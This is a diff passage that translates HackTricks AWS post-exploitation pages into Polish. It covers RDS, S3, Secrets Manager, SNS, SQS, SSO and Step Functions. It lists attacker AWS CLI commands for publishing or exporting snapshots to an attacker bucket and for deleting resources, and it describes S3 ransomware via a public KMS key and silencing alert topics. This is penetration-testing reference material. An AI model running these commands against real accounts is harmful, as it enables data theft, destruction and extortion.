+--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +Napastnik z tymi uprawnieniami mógłby **utworzyć migawkę DB** i uczynić ją **dostępną publicznie**. Następnie mógłby po prostu utworzyć w swoim własnym koncie DB z tej migawki. +Jeśli napastnik **nie ma `rds:CreateDBSnapshot`**, nadal mógłby uczynić **inne** utworzone migawki **publicznymi**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +Atakujący z uprawnieniem `rds:DownloadDBLogFilePortion` może **pobierać fragmenty plików dziennika instancji RDS**. Jeśli wrażliwe dane lub dane uwierzytelniające zostaną przypadkowo zapisane, atakujący może potencjalnie wykorzystać te informacje do eskalacji swoich uprawnień lub wykonania nieautoryzowanych działań. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**Potencjalny wpływ**: Dostęp do wrażliwych informacji lub nieautoryzowane działania przy użyciu wyciekłych poświadczeń. ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +Napastnik z tymi uprawnieniami może **spowodować DoS istniejących instancji RDS**. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**Potencjalny wpływ**: Usunięcie istniejących instancji RDS i potencjalna utrata danych. ### `rds:StartExportTask` > [!NOTE] > TODO: Test -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. - +Napastnik z tym uprawnieniem może **wyeksportować migawkę instancji RDS do koszyka S3**. Jeśli napastnik ma kontrolę nad docelowym koszykiem S3, może potencjalnie uzyskać dostęp do wrażliwych danych w wyeksportowanej migawce. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**Potencjalny wpływ**: Dostęp do wrażliwych danych w wyeksportowanym zrzucie. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..6a69d87ed 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -4,39 +4,35 @@ ## S3 -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### Wrażliwe informacje -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +Czasami będziesz w stanie znaleźć wrażliwe informacje w odczytywalnych bucketach. Na przykład, sekrety stanu terraform. ### Pivoting -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +Różne platformy mogą używać S3 do przechowywania wrażliwych zasobów.\ +Na przykład, **airflow** może przechowywać **kod DAG** w tym miejscu, lub **strony internetowe** mogą być bezpośrednio serwowane z S3. Atakujący z uprawnieniami do zapisu może **zmodyfikować kod** z bucketa, aby **pivotować** do innych platform lub **przejąć konta**, modyfikując pliki JS. ### S3 Ransomware -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +W tym scenariuszu **atakujący tworzy klucz KMS (Key Management Service) w swoim własnym koncie AWS** lub innym skompromitowanym koncie. Następnie udostępnia ten **klucz każdemu na świecie**, co pozwala każdemu użytkownikowi AWS, roli lub koncie na szyfrowanie obiektów za pomocą tego klucza. Jednak obiekty nie mogą być odszyfrowane. -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +Atakujący identyfikuje docelowy **bucket S3 i uzyskuje dostęp na poziomie zapisu** do niego, korzystając z różnych metod. Może to być spowodowane słabą konfiguracją bucketa, która ujawnia go publicznie, lub atakujący uzyskuje dostęp do samego środowiska AWS. Atakujący zazwyczaj celuje w buckety, które zawierają wrażliwe informacje, takie jak dane osobowe (PII), chronione informacje zdrowotne (PHI), logi, kopie zapasowe i inne. -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +Aby określić, czy bucket może być celem dla ransomware, atakujący sprawdza jego konfigurację. Obejmuje to weryfikację, czy **S3 Object Versioning** jest włączone i czy **wieloskładnikowe uwierzytelnianie usuwania (MFA delete) jest włączone**. Jeśli wersjonowanie obiektów nie jest włączone, atakujący może kontynuować. Jeśli wersjonowanie obiektów jest włączone, ale MFA delete jest wyłączone, atakujący może **wyłączyć wersjonowanie obiektów**. Jeśli zarówno wersjonowanie obiektów, jak i MFA delete są włączone, staje się to trudniejsze dla atakującego, aby przeprowadzić ransomware na tym konkretnym buckecie. -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +Korzystając z API AWS, atakujący **zastępuje każdy obiekt w buckecie zaszyfrowaną kopią za pomocą swojego klucza KMS**. To skutecznie szyfruje dane w buckecie, czyniąc je niedostępnymi bez klucza. -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +Aby wywrzeć dodatkową presję, atakujący planuje usunięcie klucza KMS używanego w ataku. Daje to celowi 7-dniowy okres na odzyskanie danych przed usunięciem klucza i trwałą utratą danych. -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +Na koniec atakujący może przesłać ostateczny plik, zazwyczaj nazwany "ransom-note.txt", który zawiera instrukcje dla celu, jak odzyskać swoje pliki. Plik ten jest przesyłany bez szyfrowania, prawdopodobnie aby przyciągnąć uwagę celu i uświadomić go o ataku ransomware. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Aby uzyskać więcej informacji** [**sprawdź oryginalne badania**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..f1649bc76 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,42 +12,32 @@ For more information check: ### Read Secrets -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +**Sekrety same w sobie są wrażliwymi informacjami**, [sprawdź stronę privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), aby dowiedzieć się, jak je odczytać. ### DoS Change Secret Value -Changing the value of the secret you could **DoS all the system that depends on that value.** +Zmieniając wartość sekretną, możesz **DoS cały system, który zależy od tej wartości.** > [!WARNING] -> Note that previous values are also stored, so it's easy to just go back to the previous value. - +> Zauważ, że poprzednie wartości są również przechowywane, więc łatwo jest po prostu wrócić do poprzedniej wartości. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS Zmień klucz KMS ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` +### DoS Usuwanie Sekretu -### DoS Deleting Secret - -The minimum number of days to delete a secret are 7 - +Minimalna liczba dni do usunięcia sekretu wynosi 7 ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..802c38dae 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -4,7 +4,7 @@ ## SES -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,54 @@ For more information check: ### `ses:SendEmail` -Send an email. - +Wyślij e-mail. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - Still to test. ### `ses:SendRawEmail` -Send an email. - +Wyślij e-mail. ```bash aws ses send-raw-email --raw-message file://message.json ``` - Still to test. ### `ses:SendTemplatedEmail` -Send an email based on a template. - +Wyślij e-mail oparty na szablonie. ```bash aws ses send-templated-email --source --destination --template ``` - Still to test. ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +Wyślij e-mail do wielu odbiorców ```bash aws ses send-bulk-templated-email --source --template ``` - -Still to test. - ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +Wyślij e-mail do wielu odbiorców. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +Wyślij **wiadomość zwrotną** na podstawie otrzymanej wiadomości e-mail (wskazując, że wiadomość e-mail nie mogła zostać odebrana). Można to zrobić **do 24 godzin po otrzymaniu** wiadomości e-mail. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - -Still to test. - ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +To wyśle spersonalizowany e-mail weryfikacyjny. Możesz potrzebować również uprawnień do utworzenia szablonu e-maila. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - Still to test. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..a21816ecf 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -4,81 +4,65 @@ ## SNS -For more information: +Aby uzyskać więcej informacji: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Disrupt Messages +### Zakłócanie wiadomości -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +W kilku przypadkach tematy SNS są używane do wysyłania wiadomości do platform, które są monitorowane (e-maile, wiadomości slack...). Jeśli atakujący uniemożliwi wysyłanie wiadomości, które informują o jego obecności w chmurze, może pozostać niezauważony. ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic. - +Atakujący mógłby usunąć cały temat SNS, powodując utratę wiadomości i wpływając na aplikacje polegające na tym temacie. ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**Potencjalny wpływ**: Utrata wiadomości i zakłócenia w działaniu aplikacji korzystających z usuniętego tematu. ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Napastnik mógłby wysłać złośliwe lub niechciane wiadomości do tematu SNS, co potencjalnie mogłoby prowadzić do uszkodzenia danych, wywołania niezamierzonych działań lub wyczerpania zasobów. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**Potencjalny wpływ**: Uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów. ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +Napastnik mógłby zmodyfikować atrybuty tematu SNS, co potencjalnie wpłynęłoby na jego wydajność, bezpieczeństwo lub dostępność. ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Potencjalny wpływ**: Błędne konfiguracje prowadzące do obniżonej wydajności, problemów z bezpieczeństwem lub zmniejszonej dostępności. ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Napastnik mógłby subskrybować lub wypisywać się z tematu SNS, potencjalnie uzyskując nieautoryzowany dostęp do wiadomości lub zakłócając normalne funkcjonowanie aplikacji polegających na tym temacie. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` - -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. +**Potencjalny wpływ**: Nieautoryzowany dostęp do wiadomości, zakłócenia w działaniu aplikacji polegających na dotkniętym temacie. ### `sns:AddPermission` , `sns:RemovePermission` -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. - +Napastnik mógłby przyznać nieautoryzowanym użytkownikom lub usługom dostęp do tematu SNS lub cofnąć uprawnienia dla legalnych użytkowników, powodując zakłócenia w normalnym funkcjonowaniu aplikacji, które polegają na tym temacie. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` +**Potencjalny wpływ**: Nieautoryzowany dostęp do tematu, ujawnienie wiadomości lub manipulacja tematem przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego funkcjonowania aplikacji opartych na temacie. -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. - -### `sns:TagResource` , `sns:UntagResource` - -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. +### `sns:TagResource`, `sns:UntagResource` +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów SNS, zakłócając alokację kosztów w Twojej organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..56295956c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,80 +12,62 @@ For more information check: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Napastnik mógłby wysłać złośliwe lub niechciane wiadomości do kolejki SQS, co potencjalnie mogłoby spowodować uszkodzenie danych, wywołanie niezamierzonych działań lub wyczerpanie zasobów. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Potencjalny wpływ**: Wykorzystanie luk, uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Napastnik mógłby odbierać, usuwać lub modyfikować widoczność wiadomości w kolejce SQS, co prowadziłoby do utraty wiadomości, uszkodzenia danych lub zakłócenia działania aplikacji polegających na tych wiadomościach. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Potencjalny wpływ**: Kradzież wrażliwych informacji, utrata wiadomości, uszkodzenie danych oraz zakłócenie działania aplikacji polegających na dotkniętych wiadomościach. ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +Napastnik mógłby usunąć całą kolejkę SQS, co spowodowałoby utratę wiadomości i wpłynęło na aplikacje polegające na tej kolejce. ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**Potencjalny wpływ**: Utrata wiadomości i zakłócenia w działaniu aplikacji korzystających z usuniętej kolejki. ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +Napastnik mógłby usunąć wszystkie wiadomości z kolejki SQS, co prowadziłoby do utraty wiadomości i potencjalnych zakłóceń w działaniu aplikacji polegających na tych wiadomościach. ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**Potencjalny wpływ**: Utrata wiadomości i zakłócenia w działaniu aplikacji polegających na usuniętych wiadomościach. ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +Napastnik mógłby zmodyfikować atrybuty kolejki SQS, co potencjalnie wpłynęłoby na jej wydajność, bezpieczeństwo lub dostępność. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Potencjalny wpływ**: Błędne konfiguracje prowadzące do obniżonej wydajności, problemów z bezpieczeństwem lub zmniejszonej dostępności. ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów SQS, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu oparte na tagach w Twojej organizacji. ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach. ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +Napastnik mógłby cofnąć uprawnienia dla legalnych użytkowników lub usług, usuwając polityki związane z kolejką SQS. Może to prowadzić do zakłóceń w normalnym funkcjonowaniu aplikacji, które polegają na tej kolejce. ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**Potencjalny wpływ**: Zakłócenie normalnego funkcjonowania aplikacji polegających na kolejce z powodu nieautoryzowanego usunięcia uprawnień. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..f5d3e4a1a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO i identitystore Po Eksploatacji {{#include ../../../banners/hacktricks-training.md}} -## SSO & identitystore +## SSO i identitystore -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +Te uprawnienia mogą być używane do zakłócania uprawnień: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..0a1bbfdeb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +To uprawnienie pozwala na **ujawnienie tajnych danych wewnątrz wykonania**. W tym celu należy ustawić poziom inspekcji na TRACE oraz parametr revealSecrets na true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +Napastnik z tymi uprawnieniami mógłby na stałe usunąć maszyny stanów, ich wersje i aliasy. Może to zakłócić krytyczne przepływy pracy, prowadzić do utraty danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych maszyn stanów. Dodatkowo, umożliwiłoby to napastnikowi zatarcie śladów, zakłócenie dochodzeń kryminalistycznych i potencjalne sparaliżowanie operacji poprzez usunięcie niezbędnych procesów automatyzacji i konfiguracji stanów. > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - Usuwając maszynę stanów, usuwasz również wszystkie jej powiązane wersje i aliasy. +> - Usuwając alias maszyny stanów, nie usuwasz wersji maszyny stanów odnoszących się do tego aliasu. +> - Nie można usunąć wersji maszyny stanów, która jest obecnie odniesiona przez jeden lub więcej aliasów. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **Potencjalny wpływ**: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne. ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +Napastnik z tym uprawnieniem mógłby manipulować konfiguracją awarii Map Run oraz ustawieniem równoległym, mając możliwość zwiększenia lub zmniejszenia maksymalnej liczby dozwolonych wykonania dziecięcych przepływów pracy, co bezpośrednio wpływa na wydajność usługi. Dodatkowo, napastnik mógłby manipulować tolerowanym procentem i liczbą awarii, mając możliwość zmniejszenia tej wartości do 0, co spowodowałoby, że za każdym razem, gdy element zawiedzie, cały przebieg mapy zawiedzie, co bezpośrednio wpłynęłoby na wykonanie maszyny stanów i potencjalnie zakłóciło krytyczne przepływy pracy. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **Potencjalny wpływ**: Degradacja wydajności i zakłócenie krytycznych przepływów pracy. ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +Napastnik z tym uprawnieniem mógłby być w stanie zatrzymać wykonanie dowolnej maszyny stanów, zakłócając trwające przepływy pracy i procesy. Może to prowadzić do niekompletnych transakcji, wstrzymania operacji biznesowych i potencjalnej korupcji danych. > [!WARNING] -> This action is not supported by **express state machines**. - +> Ta akcja nie jest wspierana przez **maszyny stanów express**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **Potencjalny wpływ**: Zakłócenie bieżących przepływów pracy, przestoje operacyjne i potencjalna korupcja danych. ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..947eb7475 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -4,21 +4,20 @@ ## STS -For more information: +Aby uzyskać więcej informacji: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### Od poświadczeń IAM do konsoli -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +Jeśli udało Ci się uzyskać jakieś poświadczenia IAM, możesz być zainteresowany **dostępem do konsoli internetowej** za pomocą następujących narzędzi.\ +Zauważ, że użytkownik/rola musi mieć uprawnienie **`sts:GetFederationToken`**. -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### Niestandardowy skrypt +Następujący skrypt użyje domyślnego profilu i domyślnej lokalizacji AWS (nie 